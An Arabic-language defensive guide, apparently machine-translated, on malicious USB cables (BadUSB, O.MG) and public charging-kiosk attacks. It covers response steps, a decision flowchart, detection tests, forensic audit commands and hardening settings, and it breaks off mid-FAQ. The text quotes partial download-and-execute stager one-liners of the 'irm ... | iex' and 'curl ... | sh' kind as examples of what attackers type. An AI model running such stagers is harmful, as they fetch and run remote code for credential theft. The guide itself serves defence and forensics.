كبلات USB الضارة (حقن HID / BadUSB) والدفاع عن الأكشاك العامة¶

قم بتوصيل الكمبيوتر المحمول أو الهاتف الذكي أو الكمبيوتر اللوحي الخاص بك بسلك شحن USB-C أو Lightning غير مألوف متروك في مكتب الفندق أو بوابة المطار أو المقعد الخلفي لمشاركة الرحلة أو حقيبة غنيمة للمؤتمرات أو رؤية مربع حوار Windows Run (Win + R)، أو نافذة PowerShell، أو شاشة macOS Terminal التي تومض عبر شاشتك لمدة 500 مللي ثانية وتبدأ في الكتابة بسرعة 1000 كلمة في الدقيقة مباشرة بعد توصيل كبل USB أو محرك أقراص محمول أو جهاز النقر للعرض التقديمي، هو توقيع BadUSB / HID (جهاز واجهة بشرية) هجوم حقنة ضغطة ** أو Public Charging Kiosk Exploitation ("Juice Jacking"). على عكس البرامج الضارة التقليدية المخزنة كملف على محرك أقراص صغير يمكن للماسحات الضوئية المضادة للفيروسات فحصها قبل فتحها، فإن الأجهزة المزروعة كسلاح مثل O.MG Cable وUSB Ruby Ducky** وFlipper Zero BadUSB وBash Bunny وUSBHarpoon تتضمن وحدة تحكم دقيقة مصغرة وراديو Wi-Fi مباشرة داخل غلاف الموصل البلاستيكي المصبوب لسلك شحن Apple أو Anker أو Samsung ذي المظهر العادي (بالكاد 12 ملم أو 0.47 بوصة طويلة).

عند توصيله بجهاز الكمبيوتر الخاص بك أو بهاتف ذكي غير مقفل، فإن وحدة التحكم الدقيقة المخفية لا تعلن عن نفسها لنظام التشغيل الخاص بك كمحرك تخزين أو شاحن. بدلاً من ذلك، فإنه يعدد عبر USB D+ و D- دبابيس البيانات كمعيار لوحة مفاتيح USB HID (Class 0x03) أو محول شبكة USB Ethernet (RNDIS / ECM). نظرًا لأن أنظمة التشغيل Windows وmacOS وLinux وiOS وAndroid تثق بطبيعتها في لوحات المفاتيح الموصولة حديثًا دون الحاجة إلى برامج تشغيل أو عمليات فحص لمكافحة الفيروسات، يقوم الكابل على الفور بإطلاق سلسلة مبرمجة مسبقًا من ضغطات المفاتيح (Win + R -> powershell -w hidden -ep bypass ... على نظام التشغيل Windows، أو Cmd + Space -> Terminal على نظام التشغيل macOS) أو تشغيل حمولة Wi-Fi يتم التحكم فيها عن بعد في اللحظة التي ينقر فيها المهاجم على "تنفيذ" على هاتفه على مسافة 90 مترًا (300 قدم). بالنسبة لنقاط الاتصال اللاسلكية الأوسع وتهديدات شبكة السفر إلى جانب منافذ الشحن، استشر أيضًا موقعنا شبكة Wi-Fi عامة وEvil Twin ودليل الدفاع عن العصير. إذا كنت تواجه تهديدات جسدية أو ابتزازًا، فاتصل برقم الطوارئ المحلي (911 في الولايات المتحدة وكندا، 112 في جميع أنحاء الاتحاد الأوروبي، 999 في المملكة المتحدة) أو راجع موقعنا أرقام الطوارئ دليل. اتبع العزل الفوري للأجهزة وإجراءات استرداد الطب الشرعي أدناه.

افعل هذا الآن¶

1. اسحب كابل USB أو محرك الأقراص المحمول أو قاعدة الشحن أو سلك الشحن المشتبه به من منفذ جهازك فورًا: في كل ثانية يبقى كابل BadUSB أو O.MG متصلاً بجهاز كمبيوتر أو هاتف غير مؤمّن يسمح لوحدة التحكم الدقيقة الداخلية (أو مهاجم قريب متصل بنقطة اتصال Wi-Fi داخلية مخفية للكابل) بإدخال ضغطات المفاتيح أو تصفية البيانات عبر قناة تسلسلية/شبكة USB مخفية أو تشغيل برنامج تسجيل مفاتيح الأجهزة الذي يسجل كل كلمة مرور تكتبها على جهازك الخارجي. لوحة المفاتيح.
2. افصل الكمبيوتر المحمول أو الهاتف المتأثر عن شبكة Wi-Fi وEthernet وBluetooth الآن، ولا تكتب أي كلمات مرور على هذا الجهاز: لا تكتب حمولة BadUSB / المطاط Ducky القياسية التي تبلغ ثانيتين برنامجًا ضخمًا عبر واجهة لوحة المفاتيح البطيئة؛ بدلاً من ذلك، يقوم بكتابة أمر "stager" من سطر واحد في PowerShell (iex (irm http://...)) أو محطة macOS (curl -s http://... | sh) الذي يقوم بتنزيل برنامج سرقة المعلومات الكامل أو حصان طروادة للوصول عن بعد عبر اتصال Wi-Fi الخاص بك. يؤدي قطع شبكة Wi-Fi وEthernet إلى إيقاف التنزيل على الفور أو إيقاف عملية التصفية.
3. إذا قمت بالنقر على "الوثوق بهذا الكمبيوتر" على جهاز iPhone/iPad أو تحديد "نقل الملفات (MTP) / السماح بتصحيح أخطاء USB (ADB)" على هاتف Android الخاص بك في كشك شحن عام، قم بإلغاء الثقة على الفور:
4. على iPhone / iPad: افصل السلك، وانتقل إلى الإعدادات > المطور (إذا كان مرئيًا في الجزء السفلي من الإعدادات) -> اضغط على مسح أجهزة الكمبيوتر الموثوقة. إذا لم يكن المطور مرئيًا، فانتقل إلى الإعدادات > عام > نقل أو إعادة تعيين iPhone > إعادة تعيين > إعادة تعيين الموقع والخصوصية، والذي يمسح كل ما تم إقرانه بشكل مشفر lockdownd قم باستضافة سجلات الاقتران حتى لا يتمكن أي جهاز كمبيوتر أو كشك من الوصول إلى النسخة الاحتياطية لجهاز iPhone الخاص بك مرة أخرى دون رمز المرور الخاص بك.
5. في نظام Android: افصل السلك، وانتقل إلى الإعدادات > النظام > خيارات المطور (في حالة التمكين) -> اضغط على إلغاء تفويضات تصحيح أخطاء USB، ثم قم بإيقاف خيارات المطور تمامًا إيقاف.
6. افحص ما كتبته حمولة ضغطة مفتاح BadUSB للتو على جهاز الكمبيوتر الخاص بك عن طريق تحديد مربع التشغيل (Run) (RunMRU)، سجل أوامر PowerShell (PSReadLine)، وسجل محطة macOS: قبل إعادة التشغيل، افتح نافذة طرفية نظيفة على الكمبيوتر غير المتصل بالإنترنت واقرأ الأمر الدقيق الذي أدخلته لوحة مفاتيح USB المزيفة في نظامك باستخدام أوامر التدقيق الجنائي في المرحلة الثانية.
7. احتفظ بكبل USB المشبوه أو محرك الأقراص المحمول في حاوية معدنية أو حقيبة فاراداي (لا تقم بتوصيله مرة أخرى بأي جهاز كمبيوتر "لرؤية ما بداخله"): نظرًا لأن كبل O.MG يحتوي على جهاز إرسال واستقبال Wi-Fi نشط ESP8266/ESP32 يعمل بالطاقة عندما يستقبل 5 فولت (حتى عند توصيله بوحدة USB غبية أو بنك بطارية)، فإن توصيله بشاحن حائط يؤدي إلى تشغيل نقطة وصول Wi-Fi المخفية ويسمح للمهاجم بالخروج من غرفتك في الفندق. أو مكتب للاتصال به أو التسبب في التدمير الذاتي (Self-Destruct / Wipe) ميزة. اتركه مفصولاً تمامًا.
8. إذا نفذت حمولة BadUSB برنامجًا نصيًا على جهاز الكمبيوتر الخاص بك أثناء تسجيل الدخول، فقم بتدوير جميع بيانات الاعتماد وأبطل الجلسات النشطة من جهاز منفصل ونظيف: نظرًا لأن 90 بالمائة من حمولات BadUSB الحديثة تطلق برنامج سرقة المعلومات الذي يلتقط ملفات تعريف الارتباط للمتصفح وكلمات المرور المحفوظة في 3 ثوانٍ، قم بتنفيذ دليل اختطاف ملفات تعريف الارتباط للجلسة وإبطال الرمز المميز لـ infostealer من هاتف ذكي نظيف.

شجرة القرار: الاستجابة لكابل USB ضار مشتبه به أو التعرض للأكشاك العامة¶

استخدم هذا المخطط الانسيابي التكتيكي لتحديد ما إذا كان جهازك قد تعرض للاختراق بعد توصيله بكابل USB أو قاعدة إرساء أو محرك أقراص صغير أو محطة شحن عامة غير موثوق بها:

flowchart TD
    Event["تم توصيله بكابل USB غير معروف، أو تم العثور على محرك أقراص محمول، أو كشك فندق/مطار، أو محطة منشارية/تشغيل نافذة فلاش على الشاشة"] --> Unplug["الخطوة 1: افصل كابل USB / الجهاز على الفور وافصل شبكة Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"ما الجهاز الذي تم توصيله بسلك أو منفذ USB غير معروف؟"}

    WhatDevice -->|"كمبيوتر محمول / سطح المكتب يعمل بنظام Windows أو macOS أو Linux"| ScreenLocked{"هل كانت شاشة الكمبيوتر مقفلة أم غير مقفلة عند توصيلها بالكهرباء؟"}
    WhatDevice -->|"آيفون / آيباد (iOS / iPadOS)"| iOSState{"هل كان جهاز iPhone مفتوحًا، وهل قمت بالنقر فوق 'الثقة' أو الاطلاع على الكتابة؟"}
    WhatDevice -->|"هاتف ذكي/جهاز لوحي يعمل بنظام أندرويد"| AndroidState{"هل كان الهاتف مفتوحًا أم تم تمكين 'تصحيح أخطاء USB (ADB)'؟"}

    ScreenLocked -->|"غير مقفل (تسجيل الدخول إلى سطح المكتب)"| AssumeHID["مخاطر عالية: يمكن لكابل BadUSB / O.MG تنفيذ ضغطات المفاتيح (Win+R / Cmd+Space) في أقل من 1.5 ثانية دون أي مطالبة -> انتقل إلى تدقيق الطب الشرعي للمرحلة الثانية"]
    ScreenLocked -->|"مقفل (شاشة كلمة المرور)"| NetworkDMA["تحقق من حدوث Thunderbolt/PCIe DMA أو USB Ethernet (تسمم RNDIS/DHCP)؛ لا يمكن لضغطات المفاتيح تجاوز شاشة القفل بدون كلمة المرور الخاصة بك"]

    iOSState -->|"مغلق طوال الوقت (iOS 15+ / وضع تقييد المحتوى عبر USB)"| iOSSafe["آمن: يقوم 'وضع تقييد USB' من Apple بتعطيل دبابيس البيانات فعليًا على أجهزة iPhone المقفلة -> تم تمرير الطاقة فقط"]
    iOSState -->|"تم فتح 'الثقة' واستغلالها (أو رؤية Safari/الاختصارات مفتوحة)"| iOSRevoke["التشغيل فورًا: الإعدادات > عام > نقل أو إعادة تعيين iPhone > إعادة تعيين > إعادة تعيين الموقع والخصوصية + تطبيق اختصارات التدقيق"]

    AndroidState -->|"مغلق طوال الوقت (وضع الشحن فقط)"| AndroidSafe["آمن: إعدادات Android الحديثة الافتراضية هي 'لا يوجد نقل بيانات (الشحن فقط)' -> لم يتم تمرير أي بيانات"]
    AndroidState -->|"كتابة الشاشة غير المؤمنة والمنشورة أو ADB/MTP المعتمدة"| AndroidRevoke["قم بتعطيل خيارات المطور -> إلغاء تصحيح أخطاء USB -> التحقق من التطبيقات المثبتة وتنزيلات Chrome"]

فهم كيفية عمل كابلات BadUSB وO.MG وهجمات الشحن العامة فعليًا¶

للدفاع عن نفسك بشكل فعال، وتجنب عدم الاستجابة لزرع أجهزة حقيقية والذعر بشأن منافذ الشحن غير الضارة، تحتاج إلى فهم الآليات التقنية الثلاثة المتميزة التي يستخدمها المهاجمون عبر USB:

1. حقن ضربات المفاتيح BadUSB / HID (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• العيب الأساسي في تصميم USB: الناقل التسلسلي العالمي (USB) تسمح المواصفات لموصل فعلي واحد بالإعلان عن نفسه كأي فئة جهاز أثناء التعداد (bInterfaceClass)، أو حتى جهاز مركب (يُعلن عن نفسه كمحرك أقراص USB محمول و لوحة مفاتيح USB في نفس الوقت).
• داخل كابل O.MG أو شاحن ضار: بصريًا، لا يمكن تمييز كابل O.MG بنسبة 100 بالمائة عن كابل Apple USB-C-to-USB-C أو USB-C-to-Lightning أو USB-A الأصلي المضفر أو الأبيض. يقوم بشحن هاتفك ونقل البيانات بشكل طبيعي. ومع ذلك، يوجد داخل طرف الموصل النشط وحدة تحكم مجهرية ثنائية النواة مزودة بـ 802.11 Wi-Fi ووحدة تخزين فلاش:
• حقن ضغط المفاتيح النشط: في اللحظة التي تقوم فيها بتوصيل الكابل بجهاز كمبيوتر يعمل بنظام Windows أو Mac أو هاتف ذكي غير مقفل، يتم تعداد الكابل على أنه لوحة مفاتيح HID عامة ويكتب ما يصل إلى 850 حرفًا في الثانية (DuckyScript). في غضون 1.5 ثانية، يتم الضغط عليه Win + R (ويندوز) أو Cmd + Space (Mac)، يطلق غلافًا خلفيًا مخفيًا، ويقوم بتنزيل حمولة، ويغلق النافذة.
• مسجل مفاتيح الأجهزة المضمّن (للوحات مفاتيح USB الخارجية): إذا قام أحد المهاجمين بتبديل كابل USB الذي يربط لوحة المفاتيح الميكانيكية الخارجية بجهاز الكمبيوتر المكتبي الخاص بك باستخدام كابل O.MG، فإن الزرعة تستقر بصمت في منتصف السلك وتسجل ** ما يصل إلى 650000 ضغطة مفاتيح** (بما في ذلك كلمة المرور الرئيسية لـ Bitwarden/1Password، ورقم التعريف الشخصي لتسجيل الدخول إلى Windows، وكلمة مرور BIOS) في ذاكرة الفلاش الداخلية، والتي يقوم المهاجم بتنزيلها لاسلكيًا من خارج المبنى عبر شبكة Wi-Fi.
• الحمولات ذات النطاق الجغرافي والمتأخرة بالوقت: على عكس جهاز USB الوحيد الذي تبلغ تكلفته 50 دولارًا والذي يكتب حمولته بمجرد توصيله، يمكن أن يظل كابل O.MG خاملًا تمامًا كسلك شحن عادي لمدة أيام أو أسابيع حتى يكتشف شبكة Wi-Fi الخاصة بشركتك (BSSID السياج الجغرافي) أو حتى يقوم المهاجم بتشغيله عن بعد عبر واجهة مستخدم الويب المدمجة.

2. اختطاف محول شبكة USB (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• حتى لو كانت شاشة الكمبيوتر المحمول مقفلة (Win + L أو Ctrl + Cmd + Q) لذلك لا يمكن للوحة مفاتيح USB المزيفة فتح نافذة طرفية، فإن توصيل جهاز USB ضار بمنفذ بيانات USB غير مؤمّن يسمح للجهاز بالتعداد على أنه محول Gigabit USB Ethernet عالي الأولوية (USB RNDIS أو CDC-ECM).
• نظرًا لأن نظامي التشغيل Windows وmacOS يمنحان الأولوية تلقائيًا لواجهة Ethernet السلكية المتصلة حديثًا عبر شبكة Wi-Fi، يصبح جهاز USB هو البوابة الافتراضية للكمبيوتر المحمول عبر DHCP (0.0.0.0/1)، يعترض حركة مرور الشبكة المحلية غير المشفرة، ويستجيب لها WPAD / LLMNR / mDNS الاستعلامات، أو سحب ملفات تعريف الارتباط للمتصفح في الخلفية بخلاف HttpOnly.

3. الأكشاك العامة "تجميع العصير" (MTP / PTP / iOS lockdownd / Android ADB)¶

• عند توصيل هاتف ذكي بمنفذ USB عام (في المطار، أو محطة القطار، أو اللوحة الأمامية للفندق، أو وحدة المعلومات والترفيه لتأجير السيارات) باستخدام كابل عادي قادر على نقل البيانات:
• ما يتم حظره تلقائيًا: منذ iOS 11.4.1 / iOS 15+ (USB Restricted Mode) و أندرويد 9+ (Charge-Only Default)، فإن توصيل الهاتف بمنفذ بيانات USB لا يعرض صورك أو ملفاتك تلقائيًا. يتم حظر نقل البيانات حتى تقوم بإلغاء قفل الهاتف والنقر صراحةً على "الوثوق بهذا الكمبيوتر" (بالإضافة إلى إدخال رمز مرور iPhone الخاص بك) أو تبديل إشعار USB الخاص بنظام Android يدويًا من لا يوجد نقل بيانات إلى نقل الملفات (MTP) أو السماح بتصحيح أخطاء USB.
• حيث يكمن الخطر الحقيقي في الأكشاك العامة:
  1. ChoiceJacking & HID على الهواتف غير المؤمنة: كما أظهره باحثو الأمن في جامعة غراتس للتكنولوجيا (ChoiceJacking)، إذا كان هاتفك غير مقفل في يدك أثناء توصيله بمنفذ USB عام ضار، فيمكن للكشك أولاً تعداد لوحة مفاتيح USB (HID) لمدة 200 مللي ثانية وإرسال الدقيق Tab / Enter أو ضغطات المفاتيح المساعدة اللازمة للنقر على المطالبة "السماح / نقل الملفات" على شاشتك قبل التبديل إلى وضع نقل بيانات المضيف.
  2. ** تلف الأجهزة القذرة / الجهد الزائد (USB Killer)**: يمكن لمنفذ USB العام الذي تم تخريبه تفريغ 200 فولت تيار مستمر من بنك المكثف مباشرة إلى شريحة تحكم USB-C بهاتفك، مما يؤدي إلى احتراق اللوحة المنطقية بشكل دائم.

مصفوفة المقارنة: أجهزة دفاع USB وحماية نظام التشغيل¶

المرحلة 1: كيفية اكتشاف كابل USB ضار بصريًا وكهربائيًا (تدقيق كابل O.MG)¶

إذا عثرت على كابل USB مشبوه في مكتبك، أو متصل بالجزء الخلفي من لوحة مفاتيح الكمبيوتر المكتبي، أو داخل حقيبة السفر، فاتبع الخطوات الأربع التالية لتحديد ما إذا كان ذلك عبارة عن جهاز مزروع:

1. الاختبار رقم 1: قياس الاستمرارية أو استخدام جهاز اختبار كابلات الأجهزة (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. لا تحتوي كابلات الشحن القياسية USB-A-to-USB-C أو USB-A-to-Lightning أو USB-C التي لا تحمل علامة E على أي معالج دقيق نشط يسحب التيار عند توصيل طرف واحد فقط بالطاقة.
3. ** كاشف الكابلات الضارة O.MG ** (أو محلل USB الحالي/البروتوكول المضمن مثل Power-Z KM003C) يقع بين مصدر الطاقة والكابل مع لا يوجد شيء متصل بالطرف البعيد للكابل:
   • إذا كان الكابل يسحب 30 إلى 120 مللي أمبير (مللي أمبير) من التيار عند 5 فولت دون توصيل أي شيء بالطرف الآخر، أو يحاول التفاوض مع USB D+/D- التعداد بحد ذاته، يوجد كمبيوتر نشط/راديو Wi-Fi مخفي داخل رأس الكابل.
4. الاختبار رقم 2: التحقق من وجود نقاط وصول مخفية لشبكة Wi-Fi (O.MG معرفات SSID الافتراضية أو بادئات ESP32 MAC):
5. تستخدم كابلات O.MG وغرسات BadUSB اللاسلكية Espressif (ESP8266 / ESP32-S2 / ESP32-C3) شريحة Wi-Fi داخل غلاف الموصل.
6. باستخدام بنك بطارية USB معزول داخل منطقة فاراداي/معزولة (ليس جهاز الكمبيوتر الخاص بك)، فإن تشغيل كبل O.MG الافتراضي أو غير المهيأ غالبًا ما يبث شبكة Wi-Fi بتردد 2.4 جيجا هرتز (SSID الافتراضي) O.MG في 192.168.4.1، أو SSID مخفي مع عنوان MAC / BSSID OUI التابع لشركة Espressif Inc. مثل 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22، إلا إذا كان مغشوشاً).
7. الاختبار رقم 3: فحص طول القالب الزائد للموصل وتوليد الحرارة:
8. قارن الغلاف البلاستيكي المخفف للضغط للكابل المشتبه به مع كابل Apple أو Anker الأصلي المعروف جنبًا إلى جنب:
   • في حين أن أجيال كابلات O.MG الحديثة تتطابق مع أبعاد غلاف Apple الدقيقة، فبعد 3 دقائق من تلقي طاقة 5 فولت، سيشعر رأس الموصل الذي يحتوي على وحدة التحكم الدقيقة النشطة لشبكة Wi-Fi ** بالدفء بشكل ملحوظ (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit)** بين أطراف أصابعك حتى في حالة عدم شحن الهاتف على الطرف الآخر. (يظل الكابل السلبي العادي الذي لا يتم توصيل أي شيء بالطرف البعيد باردًا تمامًا في درجة حرارة الغرفة.)

المرحلة 2: فرز الطب الشرعي في حالة كتابة كبل BadUSB أو O.MG على جهاز الكمبيوتر الخاص بك¶

إذا قمت بتوصيل كبل USB أو محرك أقراص صغير أو جهاز طرفي بجهاز الكمبيوتر المحمول الذي يعمل بنظام التشغيل Windows أو Mac أو Linux وشاهدت قائمة "ابدأ" أو مربع حوار "تشغيل" (Win + R)، تسليط الضوء (Cmd + Space)، أو تومض نافذة طرفية باللونين الأسود/الأزرق ويتم فتحها وإغلاقها، لا تقم بإعادة التشغيل بعد. قم بتشغيل هذه الأوامر المحددة دون اتصال بالإنترنت لمعرفة ما كتبته لوحة مفاتيح USB المزيفة وما هو معرف البائع/المنتج USB (VID:PID) متصل بالمنفذ الخاص بك:

1. تدقيق الطب الشرعي لنظامي التشغيل Windows 10 وWindows 11 (التشغيل في وضع عدم الاتصال PowerShell)¶

افتح PowerShell (المسؤول) على جهاز كمبيوتر يعمل بنظام Windows غير متصل بالإنترنت وقم بتشغيل أوامر الطب الشرعي الأربعة التالية:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• ** كيفية التفسير Get-ItemProperty ... RunMRU**:
• يبدأ كل برنامج نصي يعمل بنظام Windows BadUSB/Rubber Ducky تقريبًا بالضغط على Win + R (GUI r في DuckyScript) وكتابة أمر مثل powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex أو cmd /c curl ....
• حتى لو حاول البرنامج النصي حذف RunMRU في النهاية، إذا قمت بسحب الكابل في منتصف التنفيذ (أو إذا لم يقم البرنامج النصي بمسح السجل)، فسيتم وضع عنوان URL الضار والأمر بالضبط في الداخل RunMRU (a, b, c القيم) أو في الداخل ConsoleHost_history.txt.

2. تدقيق الطب الشرعي لـ Apple macOS (التشغيل في محطة غير متصلة بالإنترنت)¶

في نظام التشغيل macOS، عادةً ما تضغط حمولات BadUSB على Cmd + Space (GUI SPACE)، اكتب Terminalاضغط Enter، وتشغيل أ curl أو osascript بطانة واحدة:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. التدقيق الجنائي في Linux (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

إذا أظهر أي من السجلات المذكورة أعلاه أن أ powershell, cmd, mshta, curl, wgetأو osascript تم تنفيذ الأمر أثناء الاتصال بالإنترنت، افترض أنه تم تشغيل سارق المعلومات أو الباب الخلفي المستمر: قم بإلغاء جميع الجلسات باستخدام دليل اختطاف ملفات تعريف الارتباط وسرقة المعلومات وقم بإجراء إعادة تثبيت نظام التشغيل النظيف باتباع خطواتنا دليل الإصابة بالبرامج الضارة وبرامج الفدية وبرامج التجسس.

المرحلة 3: تأمين أجهزتك بحيث لا يمكن تشغيل كابلات BadUSB تلقائيًا أبدًا¶

تشتمل أنظمة التشغيل الحديثة الآن على أقفال قوية لمنافذ الأجهزة المضمنة ** التي تعمل على تحييد BadUSB وO.MG Cables وRubber Duckies بالكامل ** قبل أن تتمكن من كتابة حرف واحد، بشرط تشغيل هذه الإعدادات:

1. Apple macOS (أجهزة Apple Silicon M1 / M2 / M3 / M4 MacBooks): قم بتمكين "السؤال عن ملحقات جديدة"¶

في أجهزة Apple Silicon Mac التي تعمل بنظام التشغيل macOS Ventura أو Sonoma أو Sequoia، قدمت Apple ترخيص منفذ USB-C/Thunderbolt على مستوى الأجهزة والذي يمنع أي كبل USB أو جهاز جديد من التعداد كلوحة مفاتيح حتى تنقر صراحةً على "السماح": 1. افتح قائمة Apple () > إعدادات النظام > الخصوصية والأمان. 2. قم بالتمرير لأسفل إلى قسم الأمان وابحث عن "السماح للملحقات بالاتصال". 3. قم بتغييره من تلقائيًا عند إلغاء القفل إلى "اطلب ملحقات جديدة" (أو "اسأل في كل مرة" للحصول على أقصى قدر من الحماية الأمنية أثناء السفر). 4. لماذا يوقف ذلك كابلات O.MG الباردة على جهاز Mac: عندما تقوم بتوصيل كابل شحن O.MG مخادع مع تمكين "اسأل في كل مرة" أو "اطلب ملحقات جديدة"، تتدفق الطاقة على الفور لشحن بطارية MacBook الخاصة بك، ولكن macOS ينبثق مربع حوار تحذيري يقرأ: "Allow accessory '[Device Name]' to connect to this Mac?" نظرًا لأن كابل الشحن السلبي العادي لا يطلب أبدًا الاتصال كملحق بيانات، فإن رؤية تلك النافذة المنبثقة عند توصيل سلك شحن بسيط تكشف على الفور عن الكابل باعتباره جهازًا مزروعًا بينما يحجب 100 بالمائة من ضغطات المفاتيح حتى تقوم بفصله.

2. Apple iPhone وiPad: تحقق من تمكين "وضع تقييد المحتوى عبر USB".¶

1. افتح الإعدادات > Face ID ورمز المرور (أو Touch ID ورمز المرور) وأدخل رمز المرور الخاص بك.
2. قم بالتمرير لأسفل إلى قسم "السماح بالوصول عند القفل".
3. تأكد من تشغيل مفتاح التبديل الموجود بجوار الملحقات (أو ملحقات USB) إيقاف (باللون الرمادي).
4. مع إيقاف تشغيل الملحقات، عندما يكون جهاز iPhone الخاص بك مقفلاً، يقوم نظام iOS فعليًا بتعطيل دبابيس بيانات USB، مما يسمح فقط بمرور طاقة الشحن. اضغط دائمًا على الزر الجانبي لقفل شاشة iPhone قبل توصيله بأي شاحن غير مألوف أو سيارة مستأجرة.

3. Android 15 / 16 ونظام GrapheneOS: تمكين "الحماية المتقدمة" / قفل منفذ USB¶

• على نظام التشغيل Android القياسي (Pixel وSamsung Galaxy):
• لا تترك أبدًا ** خيارات المطور > تصحيح أخطاء USB (ADB)** ممكّن عند السفر.
• في الإعدادات > الأمان والخصوصية > المزيد من إعدادات الأمان (أو الحماية المتقدمة على نظام التشغيل Android 15/16+)، قم بتمكين حماية USB / حظر أجهزة USB الجديدة أثناء القفل.
• قم دائمًا بقفل شاشتك قبل الاتصال بأي منفذ شحن عام حتى لا تتمكن هجمات ChoiceJacking HID من التفاعل مع شاشة غير مقفلة.

4. لينكس وويندوز إنتربرايز: USBGuard وقيود تثبيت الجهاز¶

• ** في نظام لينكس (USBGuard)**: تثبيت usbguard الشيطان (sudo apt install usbguard)، الذي يحظر تأكيد أي جهاز USB متصل حديثًا bInterfaceClass 03 (لوحة مفاتيح HID) إذا كانت لوحة المفاتيح الأساسية متصلة بالفعل أو حتى يتم التصريح بها صراحةً عبر usbguard allow-device.
• في نظام التشغيل Windows 11 Pro / Enterprise: قم بتمكين Kernel DMA Protection (BitLocker + VBS) في أمان Windows > أمان الجهاز > العزل الأساسي لإيقاف هجمات Thunderbolt/PCIe DMA، وقفل محطة العمل دائمًا (Win + L) قبل توصيل أي كبل USB غير مألوف حتى لا تتمكن أدوات ضغط المفاتيح من الوصول إلى غلاف سطح المكتب الذي تم تسجيل الدخول إليه.

الأسئلة المتداولة¶

هل يمكن لكابل O.MG الضار أو سلك BadUSB اختراق هاتف iPhone أو Android الخاص بي إذا قمت بتوصيله فقط أثناء قفل شاشة هاتفي؟¶

إذا كان جهاز iPhone الخاص بك يحتوي على الإعدادات > معرف الوجه ورمز المرور > السماح بالوصول عند القفل > الملحقات تحولت عن (الإعداد الافتراضي في iOS 15 إلى iOS 18) ويتم قفل شاشتك عند توصيل الكابل، لا يمكن لأي بيانات أو ضغطات المفاتيح الوصول إلى جهاز iPhone الخاص بك لأن iOS يقوم بتعطيل خطوط بيانات USB على مستوى وحدة التحكم في الأجهزة حتى تقوم بإلغاء قفل الهاتف باستخدام Face ID أو رمز المرور الخاص بك. ومع ذلك، في اللحظة التي تقوم فيها بإلغاء قفل جهاز iPhone الخاص بك بينما لا يزال كابل O.MG متصلاً، يمكن للكابل تعداد لوحة مفاتيح USB خارجية وإرسال اختصارات لوحة مفاتيح iOS بسرعة (مثل كمد + مسافة لفتح Spotlight، أو افتح Safari على عنوان URL لملف تعريف التصيد/التكوين، أو قم بتشغيل اختصارات Apple). لا تحتفظ مطلقًا بكابل USB تم العثور عليه أو غير موثوق به أثناء فتح قفل هاتفك.

كيف يمكنني معرفة الفرق بين كابل USB حقيقي "للشحن فقط" وكابل بيانات USB عادي؟¶

نظرًا لأن الشركات المصنعة نادرًا ما تطبع رموزًا على الكابلات لتمييز أسلاك الشحن فقط عن أسلاك البيانات، فإن أسهل اختبار آمن هو توصيل الكابل بين جهاز كمبيوتر وجهاز قديم غير مهم (أو استخدام لوحة اختبار استمرارية توصيل كبل USB المضمنة بقيمة 10 دولارات مثل لوحة اختبار الاستمرارية جهاز اختبار كابل USB من تريديكس، والتي تضيء مصابيح LED فردية لكل سلك داخلي دون تشغيل أي وحدة تحكم دقيقة). على لوحة اختبار الاستمرارية، صحيح كابل للشحن فقط سوف تضيء فقط VBUS و أرض (2 مصباح LED)، بينما سيضيء أيضًا كابل قادر على نقل البيانات د+ و د- (و CC1/تكس/آر إكس على USB-C). وبدلاً من ذلك، احتفظ بملف مخصص محول مانع بيانات USB الفعلي يتم توصيله بشكل دائم بطرف سلك شحن السفر الخاص بك حيث يمكنك النظر فعليًا داخل المنفذ الأنثوي والتحقق بأم عينيك من أن دبابيس البيانات الوسطى مفقودة.

هل من الآمن توصيل كابل الشحن الخاص بي بمنفذ طاقة التيار المتردد (مقبس حائط ثنائي الشق / 3 شوكات) في المطار أو الفندق بدلاً من منفذ USB المدمج؟¶

